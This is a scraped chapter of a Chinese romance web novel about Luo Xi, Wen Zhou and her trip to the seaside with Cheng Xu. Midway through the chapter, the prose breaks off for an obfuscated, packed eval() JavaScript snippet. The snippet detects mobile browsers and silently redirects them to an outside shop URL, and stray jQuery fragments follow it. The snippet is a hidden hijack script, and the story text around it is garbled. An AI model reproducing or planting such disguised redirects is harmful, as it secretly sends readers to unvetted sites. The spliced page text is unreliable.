文趣网 > 其他小说 > 第二份半价 > 13. 第 13 章
    泳镜紧紧贴在脸上,把闻洲本就立体的眉眼勒得更加明显,洛晞拿着手机立在原地,直到他走近。

    “晚上好。”

    真像熟人打招呼,如果下午没有发那条莫名其妙的消息的话。

    闻洲把泳镜取了下来。

    “你什么造型?”洛晞从上到下扫了一眼。

    他把东西重新装入盒中,低敛下眉眼,在手心里砸了砸。

    “泳镜上有度数,没等到眼镜,只好这样上路了。”

    洛晞抬起胳膊算了算时间,她知道闻洲喜欢去体校的标准泳池游,那里和华中这片分数城的两侧,他如果想和她几乎同样的时间赶到家楼下,只能从给她发信息的那一刻就出发。

    他本就没寄希望于她会给他送眼镜。洛晞自然也不用理会他演出来的期冀。

    “等我是有事吗?”闻洲已经在开院上的密码锁。

    大雨过后的锈迹斑斑,攀爬出岁月,湿漉漉地黏在门上,闻洲按了几次都没按出正确的数字。

    洛晞把双手拢在胸前,“没在等你。”

    “不过既然遇到了确实有件事可以顺便问问你。”

    “嗯,”闻洲转过身,“你先帮我输一下密码行不行,”他张开五指面向洛晞,“手泡得肿胀了,总是按不上。”

    说完,他让到一边,让洛晞不用动,伸伸手臂就可以把密码输上。

    门被打开,闻洲先踏了进去,雨水过后,门变得不那么灵敏,闻洲从推了一把才彻底打开,他抵住门关上的方向,洛晞仍旧站在原地没有前进一步的打算。

    “行,那就在这说。”

    洛晞问:“最近公司很忙?”

    “还可以,怎么了?”

    “没什么,听说江仲琪毕业典礼你没打算去。”

    闻洲点了点头:“应该没时间。”

    为这句话,众多悬在半空的事,被洛晞找了一项出来,在心里打了个勾,至少不用担心了。

    “你就只是想问我会不会去参加毕业典礼?”

    闻洲轻笑了一声,他倒是等她的关心等了很久很久,但在再次见面之前说了太多的话,多到他能确认她现在想问的不只是如此。

    “你记得我是从海城来的吗?”洛晞问。

    “记得,你说那里海很漂亮,晴天很多,不像江城这么多雨。”闻洲抬起头回想了一下,那是很久很久以前的事情了,久到她的心事还会对他讲,他的肩膀可以借她靠,“你要回去?”

    “我想和程旭一起去。”

    她答得很干脆,过了很久以后,他听见闻洲“嗯”了一声。

    很小声,只是胸腔震了一下。

    正事讲完,洛晞准备绕路回家了,大雨过后窗檐滴滴答在落水,和着被大风刮下的绿叶,混乱不堪。

    闻洲更小声地,在洛晞转身的瞬间:“洛晞,你一直在欺负我。”

    “我欺负你?”

    她猛地转过身。

    洛晞才明白什么叫怒极反笑,她感觉胸膛中有一团火,要烧出来,“闻洲,我什么时候欺负你了。”

    “发一些莫名其妙的话的人难道是我吗?”

    闻洲一步踏了出来,压着声音:“你是没有给我发一些莫名其妙的话。”

    “你直接把我拉黑了。”他自嘲地笑了笑,“洛晞,你这次回去是不是又会把我拉黑了。”

    洛晞被他这句话问在原地,她认真地问自己,发现答案是否定,所以她往前走了一步,很认真地扬起了脸,这个很多年都没有过的距离:“不会,闻洲,因为我长大了。”

    闻洲的眼角湿漉漉的,她分不清是不是檐上落下的水。

    “拉黑对我来讲已经是一个很高成本的社交行为了。”

    “不过我觉得你应该明白一点,有时候拉黑的人是那个更痛苦的人、更别无选择的人,不明白也没关系。”

    出发的前夕,闻洲主动给团队所有成员放了个假,主要原因是项目一阶段的成功,次要原因是庆祝二把手江仲琪即将毕业。

    但洛晞并没有再要求程旭更改行程,他们只是提前在太阳下山前出发了。

    江城的路修得又弯又窄,程旭已经基本不能算是个本地人了,他开得很谨慎,但还是频频偏头看向洛晞。

    “看什么?”洛晞把他的头推回去,“认真点。”

    “你今天戴耳环了。”程旭掌着方向盘拐入下一个弯,进入直道后又重新转过头。他分不清各种耳饰的区别,只统一叫作耳环,不知道这种坠着长长的钻,能一次穿过多个耳洞的叫耳线。

    洛晞摸了摸左边的耳垂,因为太久没戴有些发痒,摸上去还有硬硬的肿块。

    “度假嘛。”

    她把车窗全部按下,趴在车门上,任由风把头发全部吹散,左右两根长短不一的线扑在脖子上。

    天色幽蓝,是被雨洗过的颜色,和市中心不一样。洛晞被空调闷了很久的脸有些泛红,贴在已经晒得有些烫的胳膊上,冰火两重天,睡也睡不着。耳边还有程旭的笑。

    “你笑什么?”她望着窗边一步一景,总是要离开的时候,才有在水乡的实感。

    程旭顺着耳环接上话题:“我第一次在加拿大见到闻洲的时候,根本没办法和大学期间能自己创业的精英联系到一起。”

    “你知道为什么吗?因为他戴着耳钉。”

    可你那些派对朋友打耳洞的更多,洛晞心想,但她被太阳晒得正舒服,懒得开口。

    “而且还是单边的,另一边没有。”

    打不对称耳洞的人也不少见。

    “现在想想,可能跟你一样是发炎堵住了。”

    洛晞终于抬起头来,因为这次程旭完全说错了。

    “你高中没见过他?”

    “应该见过,但我没印象,”程旭摇了摇头,“他据说是在高三才突飞猛进的,那时候我已经去多伦多了。”

    洛晞很难想象这个世界上会有人见过闻洲却对他没印象。

    耳洞又发痒了,洛晞在成年后又去新打了一对耳洞,一边已经完全长死了,但还留着完好的痕迹,只在她每次想要尝试新的款式时,泛红肿大,生硬地穿过后,还会流血。

    时时刻刻提醒,有些事情只应该在合适的年纪做,她已经有一对耳洞了,不该贪心。

    “到了。”

    洛晞皱了皱眉,她听出了是程旭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752965|209341||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在喊她,于是强压着被吵醒的烦躁睁开了眼,自己是什么时候睡着的。

    “我们先把行李放在房间,然后你想先去吃点东西还是先睡一会都行。”

    “不是还早吗?”洛晞从车里探出整个脑袋,“现在去海边还来得及。”

    程旭已经在把东西从后备箱里依次搬下,他平时基本不怎么运动,入职后更是一坐经常超过十小时,洛晞带的东西多,全部结束后他累得喘了口粗气:“我是觉得,今天好好休息,明天才有力气玩。”

    “我提前把菜点到了民宿可以做给你吃。”

    洛晞点头,他说得不无道理。

    “你要是想去也可以。”程旭牵住她。

    民宿在离海有些距离的一栋洋楼,太阳已经有西斜的趋势,照得皮肤不像早上那么难受。洛晞扶着程旭走在必须要低头步步小心的石子路上。

    “就明天吧,今晚想尝尝你的满汉全席。”

    程旭是个无可指摘的好厨子,洛晞已经忘了前一天晚上几点闭上的眼睛,很大概率是被吃太多晕碳了。

    她肿着一张脸坐在开放厨房对面,猛灌了一杯水。

    “sorry,昨晚睡着了。”

    程旭已经把早餐做好端上来,“本来就是让你放松的,有什么好抱歉的。”

    连日多雨的心情,好了一点点。

    突如其来的假期,公司几乎没剩几个人,但不包括江仲琪。

    他百无聊赖地躺在闻洲办公室的沙发上,手机盯得双眼通红也不肯走。

    “我在这看着你,别当小三。”

    闻洲:“你很闲?”

    “闲不闲都要看着你,你最近很不正常。”

    闻洲把合同全部签完,拍在最上层文件上,系好西装扣子,把江仲琪从沙发上拍起来。

    “这么闲跟我去旅游吧。”

    “去哪?”

    “不知道,海边什么的吧。”

    江仲琪直接跳了起来,“你还说你不会!程旭和洛晞不就去海边了。”

    “你想什么呢,他们去省外的海城了,你我?就周边找个有海地方当天来回。”

    “噢,他们为什么去海城。”

    闻洲收拾东西的动作一顿,“不知道,我只知道洛晞老家是海城。”

    办公室静得只能听到闻洲替江仲琪收拾垃圾的声音,他不是想不明白这其中关窍,如果不是决定相伴一生,又怎么会决定带对方回自己老家。江仲琪连“啧”了几声,说不出一声话,索性站了起来,拍了拍闻洲。

    “兄弟,别太难受,我陪你去玩,说吧,什么时候走?”

    “就现在吧。”

    “现在?”江仲琪又重新坐下。

    “那不然,等我回去换个衣服?”

    “不是,今天天气预报有雨啊。”

    闻洲已经全部收拾好,他打开门冲外面歪了歪头,喊江仲琪跟上。

    “天气预报不一定准。”

    从小时候入选市队以来,他明白游泳是一个需要全力以赴的运动,临道水花、场馆规格各有不同,他是个不论客观条件埋头只管游的人。

    “不试一下怎么知道。”